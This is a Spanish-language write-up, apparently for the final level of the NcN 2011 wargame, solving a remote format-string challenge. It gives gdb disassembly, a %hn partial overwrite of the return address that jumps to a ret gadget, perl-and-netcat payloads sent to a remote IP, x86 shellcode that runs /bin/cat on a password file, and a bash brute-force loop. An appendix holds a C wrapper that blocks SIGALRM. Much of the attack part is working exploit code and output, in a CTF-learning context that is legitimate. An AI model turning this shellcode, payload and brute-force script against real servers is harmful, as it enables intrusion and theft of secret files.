Aquí hay un detalle algo oscuro pero útil. Fijémonos en 3, es ret de dovuln(), ahora fijémonos en 4, es el parámetro a dovuln() nuestra string. Hemos visto que no podemos escribir directamente 0xb8001008 en ret y saltar así a nuestra string donde, bajo ningún concepto, habrá una shellcode. Sin embargo no nos hace falta! Con lo que acabamos de explicar de escribir sólo dos bytes con %hn hay truco. El código, aunque reallocatable (spanglish de la death), está todo junto, qué pasaría si sólo sobreescribo los dos últimos bytes de la dirección de retorno?, pues que quedaría algo como 0xb7ffXXXX y nosotros controlaríamos XXXX, y esto nos sirve de algo? Bueno, en el código hay muchas instrucciones ret, siempre que una función hace return. La función ret hace lo contrario al call, popea la dirección de retorno y la introduce en el eip, haciendo que se salte hacia allí. Podemos localizar una instrucción ret cercana a 0xb7fff04f y cambiar la dirección de retorno para que se salte a ese ret... al ejecutarse se volvería a hacer otro ret, por lo que se volvería a popear la dirección de retorno (o mejor dicho, lo que haya en la cima de la pila), se pondría en el eip y se saltaría allí... qué hay debajo del ret de dovuln()?? }:-). No estamos del todo seguro porque de esto no sabemos mucho pero... ROP (Return-Oriented-Programming)? }:-).
Bien bien, veamos, una instrucción ret en el código... la de handle() por ejemplo (OJO! esto es una depuración en local, los números no son los de antes):
$ gdb -q level5
(gdb) disas handle
...
0x0011104a <+135>: call 0x110fab <dovuln> <-- Llamada a dovuln()
0x0011104f <+140>: movl $0x0,0xc(%esp) <-- Dirección donde se retornará
0x00111057 <+148>: movl $0x5,0x8(%esp)
0x0011105f <+156>: movl $0x111272,0x4(%esp)
0x00111067 <+164>: mov 0x8(%ebp),%eax
0x0011106a <+167>: mov %eax,(%esp)
0x0011106d <+170>: call 0xb7f41c60 <send>
0x00111072 <+175>: mov -0x4(%ebp),%eax
0x00111075 <+178>: mov %eax,(%esp)
0x00111078 <+181>: call 0xb7ee0df0 <free>
0x0011107d <+186>: mov 0x8(%ebp),%eax
0x00111080 <+189>: mov %eax,(%esp)
0x00111083 <+192>: call 0xb7f2fe30 <close>
0x00111088 <+197>: mov $0x0,%eax
0x0011108d <+202>: leave
0x0011108e <+203>: ret <-- Anda! una instrucción ret.
End of assembler dump.
(gdb) x /8xw $esp
0xbffff350: 0x00113008 0xb7f8330b 0xbffff388 0x0011104f
0xbffff360: 0x00113008 0x00113008 0x000003ff 0x00000000
(gdb)
La dirección de retorno y la instrucción ret que mostramos distan 203-140 = 63 (0x3f) bytes, la dirección de retorno de dovuln() en la ejecución remota es 0xb7fff04f, por lo tanto el ret remoto al que queremos saltar está en 0xb7fff04f + 0x3f = 0xb7fff08e. Debemos imprimir 0xf08e caracteres:
$ perl -e 'print `cat shellcode` . "%61532n" . "%25\$hn"' | nc 44.252.255.10 12345
Sin embargo veremos que no parece que se ejecute nuestra shellcode, qué está pasando?. Si volvemos a analizar el comportamiento depurando en local observaremos un comportamiento que por desgracia se escapa a nuestro entender :(, pero que está ahí. Una vez en ejecución las funciones no distan la misma distancia de bytes que cuando están sin ejecutar, el cálculo anterior no nos vale. Sin embargo podemos observar que aunque las distancias cambien se mantienen relativamente cerca entre ellas. A estas alturas ya estamos vagos y decidimos bruteforcear un poco (oooohhhh!). Vamos hacer un script que lance la sentencia anterior parametrizando la cantidad de caracteres que imprime. También vamos a cambiar la shellcode, en vez de una shell vamos a ejecutar un cat sobre el fichero que nos interesa, de forma que el server escupa en pantalla el contenido. La shellcode desarrollada para esto ha sido ésta (sintaxis AT&T):
jmp trick
shellcode:
pop %esi
xor %eax, %eax
movb %al, 0x2e(%esi)
movb %al, 0x14(%esi)
movl %eax, 0x8(%esi)
movl %esi, %ebx
addl $0x15, %ebx
movl %ebx, 0x4(%esi)
movl %esi, %ebx
addl $0xc, %ebx
movl %ebx, (%esi)
movl %esi, %ecx
xor %edx, %edx
xor %esi, %esi
movb $0xb, %al
int $0x80
trick:
call shellcode
.string "AAAABBBBCCCC/bin/catA/home/level4/password.txt"
Esta shellcode ocupa más que la otra, 90 bytes concretamente. Redireccionaremos la salida del servidor a un fichero por 2 motivos, una es que en ficheros se escribe más rápido que en pantalla y la otra es que la pantalla tiene un buffer máximo y a la velocidad que se imprime probablemente perderemos el contenido del fichero xD. El script desarrollado es la siguiente chapuza (el cansancio hace mella):
#!/bin/bash
for i in `seq 61000 62000`; do
perl -e "print \`cat catcode\` . \"%0${i}x\" . \"%25\\\$hn\\n\"" | nc 44.252.255.10 12345 1>/dev/null
sleep 0.01
done
Fuimos probando intervalos de mil en mil (en este caso de 61000 a 62000) y empezamos por intervalos más bien altos para descartar primero las posiciones por las que están rondando todo el rato las direcciones con las que estamos jugando (f0XX). De hecho haciendo esto ni siquiera llegaremos a terminar porque vamos a encontrar más o menos rápido la cantidad de bytes que hace falta para conseguir cambiar la dirección de retorno a una instrucción ret (cuidado! aquí ya no podemos estar seguros de estar saltando a la instrucción ret que queremos o a otra... pero saltaremos a alguna). Otro motivo para hacer los intentos en intervalos es que se genera bastante salida y luego tenemos que analizarla (aunque evidentemente no será a mano sino con un poco de magia de expresiones regulares y egrep), y además de eso el disco duro de la máquina virtual sólo tiene libre algo más de 100 Mb, si le echamos un calculo a cuantos bytes imprimirá cada sentencia vemos que serán (61090 + 62090) * 1000 / 2 (suma de una serie, el primero más el último por el número de elementos partido por 2), lo que viene a ser unos 59 Mb. Otro detalle que también hacemos es redireccionar la salida de errores del servidor a /dev/null, vamos a estar saltando a un montón de sitios y cada una de las instancias va a estar haciendo cosas raras y van a dar errores.
Para ir terminando, después de tener el fichero de resultados del grupo que muestra este script y de hacer un poco de regexp ninja magic con egrep y sed encontraremos el mensaje de password.txt:
"Felicidades, te has pasado el wargame de la ncn2011!!" :D:D:D.
Una de las sentencias que nos devuelve este resultado es la siguiente:
$ perl -e 'print `cat catcode` . "%061608x" . "%25\$hn\n\n"' | nc 44.252.255.10 12345
... <-- <shellcode>61000 y pico ceros xD
Felicidades, te has pasado el wargame de la ncn2011
Y hasta aquí llegamos. He estado cinco minutos intentando pensar una frase molona para poner aquí, coño! que es el final!! que me ha llevado la de dios terminar este último nivel!!! que yo no soy HD Moore!!!!, pero son las 3:30 de la mañana ahora mismo y aun me quedara un tiempo para darle formato a esto y poder enviarlo con un poco de decencia... no tengo el cerebro para pensar mucho ahora mismo... pero unos chistes siempre vienen bien:
- Qué le dice la máquina de Turin grande a la máquina de Turin pequeña? "Tan pequeña y ya computas!".
- Y Jesús dijo "y = ax^2 + bx + c", a lo que un discípulo preguntó, "y eso qué es?" y el respondió "una parábola!".
- There's no place like ::1.
- Bruce Schneier knows Alice and Bob shared secret.
NOTA 1: Cuando nos ponemos a depurar el binario nos daremos cuenta de que el poco tiempo de llegar a un breakpoint el gdb nos dice "Program terminated with signal SIGALRM, Alarm clock. The program no longer exists.". Esto es debido a que para molestar un poco a la hora del debugging a los hilos que atienden peticiones de clientes (los que realmente ejecutan dovuln()) antes de empezar el trabajo real se ponen una alarma de 10 segundos:
int handle(int csock)
{
char *buf;
alarm(10); <--- PUYITA!
buf = (char*)malloc(1024);
memset(buf, '\0', 1024);
Sin embargo nos lo podemos saltar para evitar el coñazo y hacer la depuración más llevadera. Se trata de hacer un programa que bloquee esta señal y luego ejecute el servidor. OJO! no vale establecer como manejador de SIGALRM SIG_IGN porque la familia de funciones exec() reestablecen los manejadores de señal al de por defecto, en el caso de SIGALRM sera el de SIGTERM (terminar el proceso). Lo que hay que hacer es mediante sigprocmask bloquear la señal. Esto no hace que la señal sea ignorada sino que se quede en estado pending hasta que la desbloqueemos... no lo vamos a hacer nunca xD. El programa podría ser este:
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *args[] = {"/home/level4/level5", NULL};
sigset_t mask;
sigemptyset(&mask);
sigaddset(&mask, SIGALRM);
sigprocmask(SIG_BLOCK, &mask, NULL);
execv(args[0], args);
return 0;
}
Ahora en vez de ejecutar directamente level5, ejecutaríamos este programa, en nuestro caso lo hemos llamado ignorante_de_la_vida (aunque realmente no ignora la señal, pero bueno... hemos tenido días más lúcidos). Así que cuando queramos poner en marcha el servidor lo que haremos será:
$ ./ignorante_de_la_vida
port: 12345
Y ya los procesos no se morirán al depurar :-).
NOTA 2: Sí, ya lo se, todo el documento está lleno con paths que dejan ver claramente cosas como el usuario en mi máquina, /etc... Que pereza me da quitarlo ¬¬. Metadatos, metadatos everywhere... es como si el maligno no me hubiera enseñado nada :-s.
Puedes descargarte el pdf
aquí.